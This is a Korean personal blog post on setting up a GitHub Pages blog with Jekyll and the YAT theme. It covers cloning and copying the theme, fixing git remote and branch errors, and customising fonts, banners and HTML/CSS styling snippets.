> gem install jekyll bundler

2. git repository ({site이름}.gihub.io)생성 / 원하는 테마 선택 + git copy / git push

public 옵션을 체크하여 *{site이름}.gihub.io* repository를 생성한다. 그 외 옵션은 크게 중요치 않다.(맘대로)

다음을 실행해 로컬에 git clone을 해준다. clone한 디렉터리(로컬)에서 수정 후→ bundler로 체크한 다음→ 수정사항을 push하면 배포가 되는 식이다.

> git clone https://github.com/...github.io

이제 jekyll theme을 고른다. theme 마다 적용 방법이 대동소이 할 수 있으므로, Readme를 적극적으로 참고할 필요가 있다. 해당 블로그는 아래 첨부된 jeffreytse의 테마를 적용했다.

🧷 [jekyll theme] https://github.com/topics/jekyll-theme

🧷 [jeffereytse’s theme] https://github.com/jeffreytse/jekyll-theme-yat

로컬 테스트 단계는 생략하고 바로 copy로 넘어가도록 하겠다. (Powershell 기준)

> git clone https://github.com/jeffreytse/jekyll-theme-yat.git yat-full
> cd yat-full
yat-full> Copy-Item -Recurse -Force * ..\cityofwonder.github.io\
yat-full> cd ..\cityofwonder.github.io
..github.io> Remove-Item -Recurse -Force ..\yat-full
..github.io> Remove-Item -Recurse -Force backup

덧붙여 해당 테마의 경우 about.markdown, about.html이 모두 있어 일부 정리해주었다. (다 마치고 나니 안하는게 나았을 것 같기도 하다)

..github.io> Remove-Item about.markdown
..github.io> Remove-Item index.markdown
..github.io> Remove-Item .jekyll-cache -Recurse -Force
..github.io> Remove-Item _site -Recurse -Force

이렇게 clone한 디렉터리에 변경사항이 쌓이면, git도 알 수 있도록 push해주어야한다.

git add .
git commit -m "{원하는 커밋 메시지}"
git push origin main

2-1. (error) remote 불일치 / branch 불일치

이 때, main, branch, 변경사항 불일치 등의 여러 이유로 에러가 발생할 수 있다. 에러 메시지를 잘 읽고 해결해야한다. 각각 다음과 같다.

⇒ remote 불일치

*PS C:\Users\jshrb\[cityofwonder.github.io](http://cityofwonder.github.io/)> git push origin main remote: Permission to jeffreytse/jekyll-theme-yat.git denied to cityofwonder.*

> git remote -v
> git remote set-url origin https://github.com/cityofwonder/cityofwonder.github.io.git
> git push origin main

⇒ branch 불일치

*PS C:\Users\jshrb\[cityofwonder.github.io](http://cityofwonder.github.io/)> git commit -m "Import yat theme and configure blog" On branch master Your branch is ahead of 'origin/master' by 1 commit. (use "git push" to publish your local commits) nothing to commit, working tree clean*

> git branch -M main
> git push -u origin main --force

3. Live Demo 확인 / 커스텀

성공적으로 push를 하고나면 다음 링크에서 제공하는 Live Demo와 같은 화면을 볼 수 있다.

여기서부터는 각 컴포넌트가 어디에 위치했는지 확인하고 수정하는게 전부이다.

🧷 [Live Demo] https://jeffreytse.github.io/jekyll-theme-yat/

다음은 내가 수행한 몇가지 커스텀이다.

1. en, kr, jp 폰트 프리텐다드로 통일 / 각 post의 헤드라이너만 Pretendard Extrabold로 수정

   _includes/head.html 파일 수정:

   -<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/typeface-noto-sans@0.0.72/index.min.css">
   +<link rel="stylesheet" as="style" crossorigin href="https://cdn.jsdelivr.net/gh/orioncactus/pretendard@v1.3.9/dist/web/static/pretendard.min.css" />
   

   _sass/yat.scss 파일 수정:

   -$base-font-family: Helvetica Neue, Helvetica, Arial, sans-serif, !default;
   +$base-font-family: "Pretendard", -apple-system, BlinkMacSystemFont, system-ui, Roboto, "Helvetica Neue", "Segoe UI", "Apple SD Gothic Neo", "Noto Sans KR", "Malgun Gothic", "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", sans-serif !default;
   

   /home/user/cityofwonder.github.io/_config.yml, 172 line~

   주석 풀고 heading_style, subheading_style을 주면 된다.

    banner:
      video: null             # Video banner source
      loop: true              # Video loop
      volume: 0               # Video volume (100% is 1.0)
      start_at: 0             # Video start time
      image: null             # Image banner source
      opacity: 1.0            # Banner opacity (100% is 1.0)
      background: "rgba(0, 0, 0, 0.8)"  # Banner background (Could be a image)
      height: "640px"         # Banner default height
      min_height: null        # Banner minimum height
      heading_style: 'font-family: "Pretendard", sans-serif; font-weight: 800'     # Pretendard ExtraBold for heading
      subheading_style: 'font-family: "Pretendard", sans-serif; font-weight: 800'  # Pretendard ExtraBold for subheading
   

2. 기존 포스팅 삭제 및 첫번째 포스팅 작성

   로컬에서 아래 실행 후 push 수행 혹은 repo 상에서 직접 지울 수도 있다.

    ..github.io> rm -f _posts/*.md _posts/*.markdown
   

   첫번째 포스팅을 위한 개괄적인 layout은 다음과 같다.

    ---
    layout: post
    title: "🚩깃허브 블로그를 시작하며"
    subtitle: "준비된 사람에게 기회가 온다"
    categories: ["📂/etc"]
    tags: [일상]
    banner:
      image: /assets/images/banners/2025-11-16-1.jpg
      opacity: 0.8
      background: "rgba(0, 0, 0, 0.7)"
    ---
       
    {본문}
       
    ---
       
    **작성일**: 2025년 11월 16일
   

3. index 페이지 heading, subheading, banner 수정

   /home/user/cityofwonder.github.io/index.html, line 7

   하이라이트 된 부분을 추가해주면 된다.

    ---
    # Feel free to add content and custom Front Matter to this file.
    # To modify the layout, see https://jekyllrb.com/docs/themes/#overriding-theme-defaults
       
    layout: home
    title: Home
    heading: "🚩 CityofWonder's blog"
    subheading: "Computer Science | Pwnable | Reversing | WEB3 | AI"
    banner: "/assets/images/banners/home.jpg"
    ---
   

markdown을 사이트에서 보여주는 형식인 github blog에서는 더 자유로운 스타일링이 가능하다. 나중에 쓸 때 참고해야하니.. 적어둔다

🖍️ 형광펜 효과

노란색 형광펜

초록색 형광펜

파란색 형광펜

분홍색 형광펜

주황색 형광펜

보라색 형광펜

사용법:

<span class="highlight-yellow">노란색 형광펜</span>
<span class="highlight-green">초록색 형광펜</span>
<span class="highlight-blue">파란색 형광펜</span>
<span class="highlight-pink">분홍색 형광펜</span>
<span class="highlight-orange">주황색 형광펜</span>
<span class="highlight-purple">보라색 형광펜</span>

💬 인라인 댓글 (hover)

본문 중간에 댓글이 달린 텍스트이렇게 마우스를 올리면 댓글이 보입니다. Notion에서 옮겨온 주석 기능이에요.를 두면, 마우스를 올렸을 때 주석이 나타난다. 문장 끝에 달아도 자연스럽게 동작문장 끝에 단 테스트 댓글입니다.한다.

리스트 안에서도 동작한다:

• 첫 번째 항목 — 여기에 주석리스트 항목에 단 댓글 테스트.
• 두 번째 항목은 일반 텍스트

사용법: (말풍선 안에 형광펜·색상 등 서식 그대로 사용 가능)

<span class="notion-comment">대상 텍스트<span class="comment-bubble"><span class="comment-item">댓글 내용. <span class="highlight-green">서식</span>도 됨</span></span></span>

한 줄로 작성할 것(중간에 빈 줄을 넣으면 깨짐). 여러 줄 댓글은 comment-item을 추가하면 구분선으로 나뉜다.

🎨 글자 색상 변경

빨간색 / 파란색 / 초록색 / 주황색 / 보라색 / 분홍색 / 회색

사용법:

<span class="text-red">빨간색 텍스트</span>
<span class="text-blue">파란색 텍스트</span>
<span class="text-green">초록색 텍스트</span>

텍스트 스타일 조합

굵은 글씨, 기울임 글씨, 밑줄 글씨, 빨간색 굵은 글씨, 노란 형광펜 + 파란 굵은 글씨

사용법:

<span class="text-bold">굵은 글씨</span>
<span class="text-italic">기울임 글씨</span>
<span class="text-underline">밑줄 글씨</span>
<span class="text-red text-bold">빨간색 굵은 글씨</span>

📦 박스

사용법:

<div class="box-note">
💡 <strong>참고</strong><br>
정보 내용
</div>

<div class="box-success">
✅ <strong>성공</strong><br>
성공 메시지
</div>

<div class="box-warning">
⚠️ <strong>경고</strong><br>
경고 메시지
</div>

<div class="box-danger">
🚨 <strong>위험</strong><br>
위험 메시지
</div>

📂 접은글 (토글)

긴 내용을 숨기고 필요할 때만 펼쳐볼 수 있음

def greet(name):
    """인사말을 출력하는 함수"""
    print(f"안녕하세요, {name}님!")

greet("개발자")

function greet(name) {
    console.log(`안녕하세요, ${name}님!`);
}

greet("개발자");

사용법:

<details>
<summary>제목</summary>
<div class="toggle-content" markdown="1">

숨겨진 내용

</div>
</details>

기본적으로 펼쳐진 상태로 시작하려면:

<details open>
<summary>제목</summary>
<div class="toggle-content" markdown="1">

처음부터 펼쳐진 내용

</div>
</details>

🎯 활용 예시

조합하면 이런 느낌..

git clone https://github.com/username/project.git
cd project

npm install

npm run dev

PORT=3001 npm run dev

PORT=3001